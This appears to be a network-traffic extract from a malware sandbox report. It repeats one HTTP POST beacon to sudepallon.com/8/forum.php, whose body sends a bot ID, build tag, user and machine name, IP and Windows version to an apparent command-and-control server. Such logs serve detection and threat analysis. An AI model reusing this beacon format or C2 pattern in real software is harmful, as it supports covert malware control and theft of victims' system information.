Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
